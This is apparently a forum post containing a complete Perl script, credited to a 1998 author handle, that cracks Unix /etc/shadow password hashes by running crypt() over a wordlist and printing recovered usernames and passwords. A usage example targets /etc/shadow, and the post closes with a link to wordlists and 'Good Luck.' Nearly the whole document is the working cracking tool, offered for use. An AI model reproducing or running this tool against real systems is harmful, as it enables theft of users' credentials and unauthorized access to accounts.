Code:
##################################################
# #
# Simple /etc/shadow unix password crack in perl #
# #
# Fes. Morocco 1998 #
# #
# By _6mO_HaCk #
# #
##################################################
print ("\n--- perl /etc/shadow cracker");
print ("\n---");
print ("\n--- Coded By _6mO_HaCk");
 
if ($#ARGV < 0) {
usage();
exit;
}
$passlist = $ARGV[0];
$wordlist = $ARGV[1];
getpasslist($passlist, $wordlist);
 
sub getpasslist{
open (PWD, $passlist) or die print " Password File not found ", $passlist, "\n";
 
while (<PWD>)
 
{
($fname, $encrypted, $uid, $gid, $cos, $home, $shell) = split ( /:/);
getwordlist($encrypted, $fname);
}
close (PWD);
}
sub getwordlist{
 
open (WRD, $wordlist) or die print " Wordfile not found ", $wordlist, "\n" ;
while (<WRD>)
{
($password) = split (/,/);
chop($password);
$encword = crypt ($password, $encrypted);
if ($encword eq $encrypted)
{
 
print "Username :",$fname, " \t ------ \aPass : ", $password, "\n";
}
}
close (WRD);
}
sub usage {
print "\n";
print "--- Usage : perl cr4ckp455 PASSWORDFILE WORDFILE\n";
print "--- Exp : perl cr4ckp455 /etc/shadow word.lst\n";
print "\n";
}
Code:
http://www.md5this.com/tools/wordlists.html
Good Luck.